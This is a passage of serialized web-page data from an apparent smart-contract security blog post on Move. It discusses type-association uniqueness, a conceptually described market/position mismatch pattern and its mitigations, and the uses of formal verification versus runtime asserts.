resources.\n",{"type":23,"tag":230,"props":9166,"children":9167},{"class":232,"line":252},[9168,9172,9177,9181,9185,9190,9194,9198,9202],{"type":23,"tag":230,"props":9169,"children":9170},{"style":256},[9171],{"type":29,"value":8133},{"type":23,"tag":230,"props":9173,"children":9174},{"style":676},[9175],{"type":29,"value":9176}," ReserveCoinContainer",{"type":23,"tag":230,"props":9178,"children":9179},{"style":274},[9180],{"type":29,"value":8143},{"type":23,"tag":230,"props":9182,"children":9183},{"style":262},[9184],{"type":29,"value":8148},{"type":23,"tag":230,"props":9186,"children":9187},{"style":676},[9188],{"type":29,"value":9189}," Coin0",{"type":23,"tag":230,"props":9191,"children":9192},{"style":274},[9193],{"type":29,"value":8158},{"type":23,"tag":230,"props":9195,"children":9196},{"style":262},[9197],{"type":29,"value":8163},{"type":23,"tag":230,"props":9199,"children":9200},{"style":262},[9201],{"type":29,"value":8268},{"type":23,"tag":230,"props":9203,"children":9204},{"style":274},[9205],{"type":29,"value":277},{"type":23,"tag":230,"props":9207,"children":9208},{"class":232,"line":280},[9209],{"type":23,"tag":230,"props":9210,"children":9211},{"style":237},[9212],{"type":29,"value":9213},"      /// Stores the available `Coin`.\n",{"type":23,"tag":230,"props":9215,"children":9216},{"class":232,"line":334},[9217,9222,9226,9230,9234,9239],{"type":23,"tag":230,"props":9218,"children":9219},{"style":262},[9220],{"type":29,"value":9221},"      underlying_coin",{"type":23,"tag":230,"props":9223,"children":9224},{"style":268},[9225],{"type":29,"value":218},{"type":23,"tag":230,"props":9227,"children":9228},{"style":676},[9229],{"type":29,"value":8138},{"type":23,"tag":230,"props":9231,"children":9232},{"style":274},[9233],{"type":29,"value":8143},{"type":23,"tag":230,"props":9235,"children":9236},{"style":676},[9237],{"type":29,"value":9238},"Coin0",{"type":23,"tag":230,"props":9240,"children":9241},{"style":274},[9242],{"type":29,"value":8475},{"type":23,"tag":230,"props":9244,"children":9245},{"class":232,"line":371},[9246],{"type":23,"tag":230,"props":9247,"children":9248},{"style":237},[9249],{"type":29,"value":9250},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":230,"props":9252,"children":9253},{"class":232,"line":391},[9254,9259,9263,9267,9271,9275,9279,9283],{"type":23,"tag":230,"props":9255,"children":9256},{"style":262},[9257],{"type":29,"value":9258},"      collateralised_lp_coin",{"type":23,"tag":230,"props":9260,"children":9261},{"style":268},[9262],{"type":29,"value":218},{"type":23,"tag":230,"props":9264,"children":9265},{"style":676},[9266],{"type":29,"value":8138},{"type":23,"tag":230,"props":9268,"children":9269},{"style":274},[9270],{"type":29,"value":8143},{"type":23,"tag":230,"props":9272,"children":9273},{"style":676},[9274],{"type":29,"value":8672},{"type":23,"tag":230,"props":9276,"children":9277},{"style":274},[9278],{"type":29,"value":8143},{"type":23,"tag":230,"props":9280,"children":9281},{"style":676},[9282],{"type":29,"value":9238},{"type":23,"tag":230,"props":9284,"children":9285},{"style":274},[9286],{"type":29,"value":9287},">>,\n",{"type":23,"tag":230,"props":9289,"children":9290},{"class":232,"line":400},[9291],{"type":23,"tag":230,"props":9292,"children":9293},{"style":237},[9294],{"type":29,"value":9295},"      /// Mint capability for LP Coin.\n",{"type":23,"tag":230,"props":9297,"children":9298},{"class":232,"line":444},[9299,9304,9308,9313,9317,9321,9325,9329],{"type":23,"tag":230,"props":9300,"children":9301},{"style":262},[9302],{"type":29,"value":9303},"      mint_capability",{"type":23,"tag":230,"props":9305,"children":9306},{"style":268},[9307],{"type":29,"value":218},{"type":23,"tag":230,"props":9309,"children":9310},{"style":676},[9311],{"type":29,"value":9312}," MintCapability",{"type":23,"tag":230,"props":9314,"children":9315},{"style":274},[9316],{"type":29,"value":8143},{"type":23,"tag":230,"props":9318,"children":9319},{"style":676},[9320],{"type":29,"value":8672},{"type":23,"tag":230,"props":9322,"children":9323},{"style":274},[9324],{"type":29,"value":8143},{"type":23,"tag":230,"props":9326,"children":9327},{"style":676},[9328],{"type":29,"value":9238},{"type":23,"tag":230,"props":9330,"children":9331},{"style":274},[9332],{"type":29,"value":9287},{"type":23,"tag":230,"props":9334,"children":9335},{"class":232,"line":453},[9336],{"type":23,"tag":230,"props":9337,"children":9338},{"style":237},[9339],{"type":29,"value":9340},"      /// Burn capability for LP Coin.\n",{"type":23,"tag":230,"props":9342,"children":9343},{"class":232,"line":462},[9344,9349,9353,9358,9362,9366,9370,9374],{"type":23,"tag":230,"props":9345,"children":9346},{"style":262},[9347],{"type":29,"value":9348},"      burn_capability",{"type":23,"tag":230,"props":9350,"children":9351},{"style":268},[9352],{"type":29,"value":218},{"type":23,"tag":230,"props":9354,"children":9355},{"style":676},[9356],{"type":29,"value":9357}," BurnCapability",{"type":23,"tag":230,"props":9359,"children":9360},{"style":274},[9361],{"type":29,"value":8143},{"type":23,"tag":230,"props":9363,"children":9364},{"style":676},[9365],{"type":29,"value":8672},{"type":23,"tag":230,"props":9367,"children":9368},{"style":274},[9369],{"type":29,"value":8143},{"type":23,"tag":230,"props":9371,"children":9372},{"style":676},[9373],{"type":29,"value":9238},{"type":23,"tag":230,"props":9375,"children":9376},{"style":274},[9377],{"type":29,"value":9287},{"type":23,"tag":230,"props":9379,"children":9380},{"class":232,"line":471},[9381],{"type":23,"tag":230,"props":9382,"children":9383},{"emptyLinePlaceholder":18},[9384],{"type":29,"value":459},{"type":23,"tag":230,"props":9386,"children":9387},{"class":232,"line":500},[9388],{"type":23,"tag":230,"props":9389,"children":9390},{"style":237},[9391],{"type":29,"value":8933},{"type":23,"tag":230,"props":9393,"children":9394},{"class":232,"line":514},[9395],{"type":23,"tag":230,"props":9396,"children":9397},{"style":274},[9398],{"type":29,"value":1331},{"type":23,"tag":32,"props":9400,"children":9401},{},[9402,9404,9409],{"type":29,"value":9403},"When creating a ",{"type":23,"tag":71,"props":9405,"children":9407},{"className":9406},[],[9408],{"type":29,"value":9139},{"type":29,"value":9410},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":220,"props":9412,"children":9414},{"className":5320,"code":9413,"language":5319,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[9415],{"type":23,"tag":71,"props":9416,"children":9417},{"__ignoreMap":7},[9418,9461,9487,9494,9515,9560,9567,9574,9581,9618,9625],{"type":23,"tag":230,"props":9419,"children":9420},{"class":232,"line":233},[9421,9426,9430,9435,9439,9444,9449,9453,9457],{"type":23,"tag":230,"props":9422,"children":9423},{"style":294},[9424],{"type":29,"value":9425},"  public",{"type":23,"tag":230,"props":9427,"children":9428},{"style":274},[9429],{"type":29,"value":302},{"type":23,"tag":230,"props":9431,"children":9432},{"style":262},[9433],{"type":29,"value":9434},"friend",{"type":23,"tag":230,"props":9436,"children":9437},{"style":274},[9438],{"type":29,"value":703},{"type":23,"tag":230,"props":9440,"children":9441},{"style":262},[9442],{"type":29,"value":9443},"fun",{"type":23,"tag":230,"props":9445,"children":9446},{"style":262},[9447],{"type":29,"value":9448}," create",{"type":23,"tag":230,"props":9450,"children":9451},{"style":274},[9452],{"type":29,"value":8143},{"type":23,"tag":230,"props":9454,"children":9455},{"style":676},[9456],{"type":29,"value":9238},{"type":23,"tag":230,"props":9458,"children":9459},{"style":274},[9460],{"type":29,"value":8925},{"type":23,"tag":230,"props":9462,"children":9463},{"class":232,"line":243},[9464,9469,9473,9478,9483],{"type":23,"tag":230,"props":9465,"children":9466},{"style":262},[9467],{"type":29,"value":9468},"      lp_store",{"type":23,"tag":230,"props":9470,"children":9471},{"style":268},[9472],{"type":29,"value":218},{"type":23,"tag":230,"props":9474,"children":9475},{"style":268},[9476],{"type":29,"value":9477}," &",{"type":23,"tag":230,"props":9479,"children":9480},{"style":262},[9481],{"type":29,"value":9482},"signer",{"type":23,"tag":230,"props":9484,"children":9485},{"style":274},[9486],{"type":29,"value":388},{"type":23,"tag":230,"props":9488,"children":9489},{"class":232,"line":252},[9490],{"type":23,"tag":230,"props":9491,"children":9492},{"style":237},[9493],{"type":29,"value":8933},{"type":23,"tag":230,"props":9495,"children":9496},{"class":232,"line":280},[9497,9502,9506,9511],{"type":23,"tag":230,"props":9498,"children":9499},{"style":274},[9500],{"type":29,"value":9501},"  ) ",{"type":23,"tag":230,"props":9503,"children":9504},{"style":262},[9505],{"type":29,"value":8681},{"type":23,"tag":230,"props":9507,"children":9508},{"style":676},[9509],{"type":29,"value":9510}," Reserves",{"type":23,"tag":230,"props":9512,"children":9513},{"style":274},[9514],{"type":29,"value":277},{"type":23,"tag":230,"props":9516,"children":9517},{"class":232,"line":334},[9518,9523,9527,9532,9537,9541,9546,9550,9555],{"type":23,"tag":230,"props":9519,"children":9520},{"style":274},[9521],{"type":29,"value":9522},"      lp",{"type":23,"tag":230,"props":9524,"children":9525},{"style":268},[9526],{"type":29,"value":5818},{"type":23,"tag":230,"props":9528,"children":9529},{"style":294},[9530],{"type":29,"value":9531},"assert_is_lp_store",{"type":23,"tag":230,"props":9533,"children":9534},{"style":274},[9535],{"type":29,"value":9536},"(signer",{"type":23,"tag":230,"props":9538,"children":9539},{"style":268},[9540],{"type":29,"value":5818},{"type":23,"tag":230,"props":9542,"children":9543},{"style":294},[9544],{"type":29,"value":9545},"address_of",{"type":23,"tag":230,"props":9547,"children":9548},{"style":274},[9549],{"type":29,"value":302},{"type":23,"tag":230,"props":9551,"children":9552},{"style":262},[9553],{"type":29,"value":9554},"lp_store",{"type":23,"tag":230,"props":9556,"children":9557},{"style":274},[9558],{"type":29,"value":9559},"));\n",{"type":23,"tag":230,"props":9561,"children":9562},{"class":232,"line":371},[9563],{"type":23,"tag":230,"props":9564,"children":9565},{"emptyLinePlaceholder":18},[9566],{"type":29,"value":459},{"type":23,"tag":230,"props":9568,"children":9569},{"class":232,"line":391},[9570],{"type":23,"tag":230,"props":9571,"children":9572},{"style":237},[9573],{"type":29,"value":8933},{"type":23,"tag":230,"props":9575,"children":9576},{"class":232,"line":400},[9577],{"type":23,"tag":230,"props":9578,"children":9579},{"emptyLinePlaceholder":18},[9580],{"type":29,"value":459},{"type":23,"tag":230,"props":9582,"children":9583},{"class":232,"line":444},[9584,9589,9593,9597,9601,9605,9609,9613],{"type":23,"tag":230,"props":9585,"children":9586},{"style":294},[9587],{"type":29,"value":9588},"      move_to",{"type":23,"tag":230,"props":9590,"children":9591},{"style":274},[9592],{"type":29,"value":302},{"type":23,"tag":230,"props":9594,"children":9595},{"style":262},[9596],{"type":29,"value":9554},{"type":23,"tag":230,"props":9598,"children":9599},{"style":274},[9600],{"type":29,"value":684},{"type":23,"tag":230,"props":9602,"children":9603},{"style":676},[9604],{"type":29,"value":9139},{"type":23,"tag":230,"props":9606,"children":9607},{"style":274},[9608],{"type":29,"value":8143},{"type":23,"tag":230,"props":9610,"children":9611},{"style":676},[9612],{"type":29,"value":9238},{"type":23,"tag":230,"props":9614,"children":9615},{"style":274},[9616],{"type":29,"value":9617},"> {\n",{"type":23,"tag":230,"props":9619,"children":9620},{"class":232,"line":453},[9621],{"type":23,"tag":230,"props":9622,"children":9623},{"style":237},[9624],{"type":29,"value":8512},{"type":23,"tag":230,"props":9626,"children":9627},{"class":232,"line":462},[9628],{"type":23,"tag":230,"props":9629,"children":9630},{"style":274},[9631],{"type":29,"value":9632},"      });\n",{"type":23,"tag":32,"props":9634,"children":9635},{},[9636],{"type":29,"value":9637},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":32,"props":9639,"children":9640},{},[9641,9643,9649,9651,9657,9659,9664],{"type":29,"value":9642},"On the other hand, consider if you have a ",{"type":23,"tag":71,"props":9644,"children":9646},{"className":9645},[],[9647],{"type":29,"value":9648},"Position\u003CT>",{"type":29,"value":9650}," and a ",{"type":23,"tag":71,"props":9652,"children":9654},{"className":9653},[],[9655],{"type":29,"value":9656},"Market\u003CT>",{"type":29,"value":9658}," where ",{"type":23,"tag":71,"props":9660,"children":9662},{"className":9661},[],[9663],{"type":29,"value":8324},{"type":29,"value":9665}," is the coin type.",{"type":23,"tag":220,"props":9667,"children":9669},{"className":5320,"code":9668,"language":5319,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[9670],{"type":23,"tag":71,"props":9671,"children":9672},{"__ignoreMap":7},[9673,9701,9729,9736,9743,9750,9778,9798,9805],{"type":23,"tag":230,"props":9674,"children":9675},{"class":232,"line":233},[9676,9680,9685,9689,9693,9697],{"type":23,"tag":230,"props":9677,"children":9678},{"style":256},[9679],{"type":29,"value":8389},{"type":23,"tag":230,"props":9681,"children":9682},{"style":676},[9683],{"type":29,"value":9684}," Market",{"type":23,"tag":230,"props":9686,"children":9687},{"style":274},[9688],{"type":29,"value":8143},{"type":23,"tag":230,"props":9690,"children":9691},{"style":262},[9692],{"type":29,"value":8148},{"type":23,"tag":230,"props":9694,"children":9695},{"style":676},[9696],{"type":29,"value":8255},{"type":23,"tag":230,"props":9698,"children":9699},{"style":274},[9700],{"type":29,"value":9617},{"type":23,"tag":230,"props":9702,"children":9703},{"class":232,"line":243},[9704,9709,9713,9717,9721,9725],{"type":23,"tag":230,"props":9705,"children":9706},{"style":262},[9707],{"type":29,"value":9708},"        reserves",{"type":23,"tag":230,"props":9710,"children":9711},{"style":268},[9712],{"type":29,"value":218},{"type":23,"tag":230,"props":9714,"children":9715},{"style":676},[9716],{"type":29,"value":8138},{"type":23,"tag":230,"props":9718,"children":9719},{"style":274},[9720],{"type":29,"value":8143},{"type":23,"tag":230,"props":9722,"children":9723},{"style":676},[9724],{"type":29,"value":8324},{"type":23,"tag":230,"props":9726,"children":9727},{"style":274},[9728],{"type":29,"value":8475},{"type":23,"tag":230,"props":9730,"children":9731},{"class":232,"line":252},[9732],{"type":23,"tag":230,"props":9733,"children":9734},{"style":237},[9735],{"type":29,"value":8512},{"type":23,"tag":230,"props":9737,"children":9738},{"class":232,"line":280},[9739],{"type":23,"tag":230,"props":9740,"children":9741},{"style":274},[9742],{"type":29,"value":1552},{"type":23,"tag":230,"props":9744,"children":9745},{"class":232,"line":334},[9746],{"type":23,"tag":230,"props":9747,"children":9748},{"emptyLinePlaceholder":18},[9749],{"type":29,"value":459},{"type":23,"tag":230,"props":9751,"children":9752},{"class":232,"line":371},[9753,9757,9762,9766,9770,9774],{"type":23,"tag":230,"props":9754,"children":9755},{"style":256},[9756],{"type":29,"value":8389},{"type":23,"tag":230,"props":9758,"children":9759},{"style":676},[9760],{"type":29,"value":9761}," Position",{"type":23,"tag":230,"props":9763,"children":9764},{"style":274},[9765],{"type":29,"value":8143},{"type":23,"tag":230,"props":9767,"children":9768},{"style":262},[9769],{"type":29,"value":8148},{"type":23,"tag":230,"props":9771,"children":9772},{"style":676},[9773],{"type":29,"value":8255},{"type":23,"tag":230,"props":9775,"children":9776},{"style":274},[9777],{"type":29,"value":9617},{"type":23,"tag":230,"props":9779,"children":9780},{"class":232,"line":391},[9781,9786,9790,9794],{"type":23,"tag":230,"props":9782,"children":9783},{"style":262},[9784],{"type":29,"value":9785},"        amount",{"type":23,"tag":230,"props":9787,"children":9788},{"style":268},[9789],{"type":29,"value":218},{"type":23,"tag":230,"props":9791,"children":9792},{"style":676},[9793],{"type":29,"value":8197},{"type":23,"tag":230,"props":9795,"children":9796},{"style":274},[9797],{"type":29,"value":388},{"type":23,"tag":230,"props":9799,"children":9800},{"class":232,"line":400},[9801],{"type":23,"tag":230,"props":9802,"children":9803},{"style":237},[9804],{"type":29,"value":8512},{"type":23,"tag":230,"props":9806,"children":9807},{"class":232,"line":444},[9808],{"type":23,"tag":230,"props":9809,"children":9810},{"style":274},[9811],{"type":29,"value":1552},{"type":23,"tag":32,"props":9813,"children":9814},{},[9815,9817,9822,9824,9829],{"type":29,"value":9816},"If ",{"type":23,"tag":71,"props":9818,"children":9820},{"className":9819},[],[9821],{"type":29,"value":9656},{"type":29,"value":9823}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":71,"props":9825,"children":9827},{"className":9826},[],[9828],{"type":29,"value":8324},{"type":29,"value":9830}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":32,"props":9832,"children":9833},{},[9834],{"type":29,"value":9835},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":220,"props":9837,"children":9839},{"className":5320,"code":9838,"language":5319,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[9840],{"type":23,"tag":71,"props":9841,"children":9842},{"__ignoreMap":7},[9843,9851,9913,9962,10014,10039,10051,10073,10080,10093],{"type":23,"tag":230,"props":9844,"children":9845},{"class":232,"line":233},[9846],{"type":23,"tag":230,"props":9847,"children":9848},{"style":237},[9849],{"type":29,"value":9850},"    /// Get the price of the token per lamport.\n",{"type":23,"tag":230,"props":9852,"children":9853},{"class":232,"line":243},[9854,9859,9863,9868,9872,9877,9881,9886,9890,9894,9899,9904,9909],{"type":23,"tag":230,"props":9855,"children":9856},{"style":262},[9857],{"type":29,"value":9858},"    public",{"type":23,"tag":230,"props":9860,"children":9861},{"style":262},[9862],{"type":29,"value":8544},{"type":23,"tag":230,"props":9864,"children":9865},{"style":294},[9866],{"type":29,"value":9867}," get_price",{"type":23,"tag":230,"props":9869,"children":9870},{"style":274},[9871],{"type":29,"value":302},{"type":23,"tag":230,"props":9873,"children":9874},{"style":262},[9875],{"type":29,"value":9876},"type_info",{"type":23,"tag":230,"props":9878,"children":9879},{"style":268},[9880],{"type":29,"value":218},{"type":23,"tag":230,"props":9882,"children":9883},{"style":676},[9884],{"type":29,"value":9885}," TypeInfo",{"type":23,"tag":230,"props":9887,"children":9888},{"style":274},[9889],{"type":29,"value":5467},{"type":23,"tag":230,"props":9891,"children":9892},{"style":268},[9893],{"type":29,"value":218},{"type":23,"tag":230,"props":9895,"children":9896},{"style":676},[9897],{"type":29,"value":9898}," Decimal",{"type":23,"tag":230,"props":9900,"children":9901},{"style":262},[9902],{"type":29,"value":9903}," acquires",{"type":23,"tag":230,"props":9905,"children":9906},{"style":676},[9907],{"type":29,"value":9908}," Oracle",{"type":23,"tag":230,"props":9910,"children":9911},{"style":274},[9912],{"type":29,"value":277},{"type":23,"tag":230,"props":9914,"children":9915},{"class":232,"line":252},[9916,9920,9925,9929,9934,9938,9943,9948,9953,9958],{"type":23,"tag":230,"props":9917,"children":9918},{"style":256},[9919],{"type":29,"value":5404},{"type":23,"tag":230,"props":9921,"children":9922},{"style":262},[9923],{"type":29,"value":9924}," oracle",{"type":23,"tag":230,"props":9926,"children":9927},{"style":268},[9928],{"type":29,"value":271},{"type":23,"tag":230,"props":9930,"children":9931},{"style":262},[9932],{"type":29,"value":9933}," borrow_global_mut",{"type":23,"tag":230,"props":9935,"children":9936},{"style":274},[9937],{"type":29,"value":8143},{"type":23,"tag":230,"props":9939,"children":9940},{"style":676},[9941],{"type":29,"value":9942},"Oracle",{"type":23,"tag":230,"props":9944,"children":9945},{"style":274},[9946],{"type":29,"value":9947},">(",{"type":23,"tag":230,"props":9949,"children":9950},{"style":268},[9951],{"type":29,"value":9952},"@",{"type":23,"tag":230,"props":9954,"children":9955},{"style":262},[9956],{"type":29,"value":9957},"oracle",{"type":23,"tag":230,"props":9959,"children":9960},{"style":274},[9961],{"type":29,"value":753},{"type":23,"tag":230,"props":9963,"children":9964},{"class":232,"line":280},[9965,9969,9974,9978,9983,9987,9992,9996,10001,10005,10010],{"type":23,"tag":230,"props":9966,"children":9967},{"style":256},[9968],{"type":29,"value":5404},{"type":23,"tag":230,"props":9970,"children":9971},{"style":262},[9972],{"type":29,"value":9973}," price",{"type":23,"tag":230,"props":9975,"children":9976},{"style":268},[9977],{"type":29,"value":271},{"type":23,"tag":230,"props":9979,"children":9980},{"style":274},[9981],{"type":29,"value":9982}," table",{"type":23,"tag":230,"props":9984,"children":9985},{"style":268},[9986],{"type":29,"value":5818},{"type":23,"tag":230,"props":9988,"children":9989},{"style":262},[9990],{"type":29,"value":9991},"borrow_mut_with_default",{"type":23,"tag":230,"props":9993,"children":9994},{"style":274},[9995],{"type":29,"value":8143},{"type":23,"tag":230,"props":9997,"children":9998},{"style":676},[9999],{"type":29,"value":10000},"TypeInfo",{"type":23,"tag":230,"props":10002,"children":10003},{"style":274},[10004],{"type":29,"value":684},{"type":23,"tag":230,"props":10006,"children":10007},{"style":676},[10008],{"type":29,"value":10009},"Decimal",{"type":23,"tag":230,"props":10011,"children":10012},{"style":274},[10013],{"type":29,"value":8925},{"type":23,"tag":230,"props":10015,"children":10016},{"class":232,"line":334},[10017,10022,10026,10030,10034],{"type":23,"tag":230,"props":10018,"children":10019},{"style":268},[10020],{"type":29,"value":10021},"            &",{"type":23,"tag":230,"props":10023,"children":10024},{"style":256},[10025],{"type":29,"value":6059},{"type":23,"tag":230,"props":10027,"children":10028},{"style":262},[10029],{"type":29,"value":9924},{"type":23,"tag":230,"props":10031,"children":10032},{"style":268},[10033],{"type":29,"value":312},{"type":23,"tag":230,"props":10035,"children":10036},{"style":274},[10037],{"type":29,"value":10038},"prices,\n",{"type":23,"tag":230,"props":10040,"children":10041},{"class":232,"line":371},[10042,10047],{"type":23,"tag":230,"props":10043,"children":10044},{"style":262},[10045],{"type":29,"value":10046},"            type_info",{"type":23,"tag":230,"props":10048,"children":10049},{"style":274},[10050],{"type":29,"value":388},{"type":23,"tag":230,"props":10052,"children":10053},{"class":232,"line":391},[10054,10059,10063,10068],{"type":23,"tag":230,"props":10055,"children":10056},{"style":274},[10057],{"type":29,"value":10058},"            decimal",{"type":23,"tag":230,"props":10060,"children":10061},{"style":268},[10062],{"type":29,"value":5818},{"type":23,"tag":230,"props":10064,"children":10065},{"style":294},[10066],{"type":29,"value":10067},"one",{"type":23,"tag":230,"props":10069,"children":10070},{"style":274},[10071],{"type":29,"value":10072},"()\n",{"type":23,"tag":230,"props":10074,"children":10075},{"class":232,"line":400},[10076],{"type":23,"tag":230,"props":10077,"children":10078},{"style":274},[10079],{"type":29,"value":3635},{"type":23,"tag":230,"props":10081,"children":10082},{"class":232,"line":444},[10083,10088],{"type":23,"tag":230,"props":10084,"children":10085},{"style":268},[10086],{"type":29,"value":10087},"        *",{"type":23,"tag":230,"props":10089,"children":10090},{"style":262},[10091],{"type":29,"value":10092},"price\n",{"type":23,"tag":230,"props":10094,"children":10095},{"class":232,"line":453},[10096],{"type":23,"tag":230,"props":10097,"children":10098},{"style":274},[10099],{"type":29,"value":1552},{"type":23,"tag":32,"props":10101,"children":10102},{},[10103,10105,10110],{"type":29,"value":10104},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":2258,"props":10106,"children":10107},{},[10108],{"type":29,"value":10109},"instance",{"type":29,"value":10111}," of another resource (which is possible in Diem style move).",{"type":23,"tag":32,"props":10113,"children":10114},{},[10115],{"type":29,"value":10116},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":144,"props":10118,"children":10119},{},[10120,10125],{"type":23,"tag":102,"props":10121,"children":10122},{},[10123],{"type":29,"value":10124},"Have unique initializers for your resources",{"type":23,"tag":102,"props":10126,"children":10127},{},[10128],{"type":29,"value":10129},"Associate resources with instances directly",{"type":23,"tag":24,"props":10131,"children":10133},{"id":10132},"formal-verification",[10134],{"type":29,"value":10135},"Formal Verification",{"type":23,"tag":32,"props":10137,"children":10138},{},[10139],{"type":29,"value":10140},"Formal verification is another exciting feature.",{"type":23,"tag":32,"props":10142,"children":10143},{},[10144],{"type":29,"value":10145},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":32,"props":10147,"children":10148},{},[10149,10151,10156],{"type":29,"value":10150},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":2258,"props":10152,"children":10153},{},[10154],{"type":29,"value":10155},"what",{"type":29,"value":10157}," to prove.",{"type":23,"tag":32,"props":10159,"children":10160},{},[10161,10163,10170],{"type":29,"value":10162},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":181,"props":10164,"children":10167},{"href":10165,"rel":10166},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[185],[10168],{"type":29,"value":10169},"Solana AMM rounding issue",{"type":29,"value":10171}," we reported.",{"type":23,"tag":32,"props":10173,"children":10174},{},[10175],{"type":29,"value":10176},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":220,"props":10178,"children":10180},{"className":5320,"code":10179,"language":5319,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[10181],{"type":23,"tag":71,"props":10182,"children":10183},{"__ignoreMap":7},[10184,10244],{"type":23,"tag":230,"props":10185,"children":10186},{"class":232,"line":233},[10187,10191,10196,10200,10205,10209,10214,10218,10222,10227,10231,10235,10240],{"type":23,"tag":230,"props":10188,"children":10189},{"style":256},[10190],{"type":29,"value":4324},{"type":23,"tag":230,"props":10192,"children":10193},{"style":262},[10194],{"type":29,"value":10195}," cmp",{"type":23,"tag":230,"props":10197,"children":10198},{"style":268},[10199],{"type":29,"value":271},{"type":23,"tag":230,"props":10201,"children":10202},{"style":274},[10203],{"type":29,"value":10204}," u256",{"type":23,"tag":230,"props":10206,"children":10207},{"style":268},[10208],{"type":29,"value":5818},{"type":23,"tag":230,"props":10210,"children":10211},{"style":294},[10212],{"type":29,"value":10213},"compare",{"type":23,"tag":230,"props":10215,"children":10216},{"style":274},[10217],{"type":29,"value":302},{"type":23,"tag":230,"props":10219,"children":10220},{"style":268},[10221],{"type":29,"value":5448},{"type":23,"tag":230,"props":10223,"children":10224},{"style":262},[10225],{"type":29,"value":10226},"lp_value_after_swap_and_fee",{"type":23,"tag":230,"props":10228,"children":10229},{"style":274},[10230],{"type":29,"value":684},{"type":23,"tag":230,"props":10232,"children":10233},{"style":268},[10234],{"type":29,"value":5448},{"type":23,"tag":230,"props":10236,"children":10237},{"style":262},[10238],{"type":29,"value":10239},"lp_value_before_swap_u256",{"type":23,"tag":230,"props":10241,"children":10242},{"style":274},[10243],{"type":29,"value":753},{"type":23,"tag":230,"props":10245,"children":10246},{"class":232,"line":243},[10247,10252,10256,10261,10265,10270],{"type":23,"tag":230,"props":10248,"children":10249},{"style":294},[10250],{"type":29,"value":10251},"  assert!",{"type":23,"tag":230,"props":10253,"children":10254},{"style":274},[10255],{"type":29,"value":302},{"type":23,"tag":230,"props":10257,"children":10258},{"style":262},[10259],{"type":29,"value":10260},"cmp",{"type":23,"tag":230,"props":10262,"children":10263},{"style":268},[10264],{"type":29,"value":5621},{"type":23,"tag":230,"props":10266,"children":10267},{"style":5149},[10268],{"type":29,"value":10269}," 2",{"type":23,"tag":230,"props":10271,"children":10272},{"style":274},[10273],{"type":29,"value":10274},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":32,"props":10276,"children":10277},{},[10278,10280,10285],{"type":29,"value":10279},"The move prover really shines when we're proving relationships ",{"type":23,"tag":2258,"props":10281,"children":10282},{},[10283],{"type":29,"value":10284},"between",{"type":29,"value":10286}," functions.",{"type":23,"tag":32,"props":10288,"children":10289},{},[10290,10292,10298],{"type":29,"value":10291},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":71,"props":10293,"children":10295},{"className":10294},[],[10296],{"type":29,"value":10297},"no_free_money_theorem",{"type":29,"value":10299}," in the move repository.",{"type":23,"tag":220,"props":10301,"children":10303},{"className":5320,"code":10302,"language":5319,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[10304],{"type":23,"tag":71,"props":10305,"children":10306},{"__ignoreMap":7},[10307,10315,10403,10445,10466,10473,10489,10515,10542,10567],{"type":23,"tag":230,"props":10308,"children":10309},{"class":232,"line":233},[10310],{"type":23,"tag":230,"props":10311,"children":10312},{"style":237},[10313],{"type":29,"value":10314},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":230,"props":10316,"children":10317},{"class":232,"line":243},[10318,10322,10327,10331,10336,10340,10344,10348,10353,10357,10361,10365,10369,10373,10378,10382,10386,10390,10394,10399],{"type":23,"tag":230,"props":10319,"children":10320},{"style":262},[10321],{"type":29,"value":8906},{"type":23,"tag":230,"props":10323,"children":10324},{"style":294},[10325],{"type":29,"value":10326}," 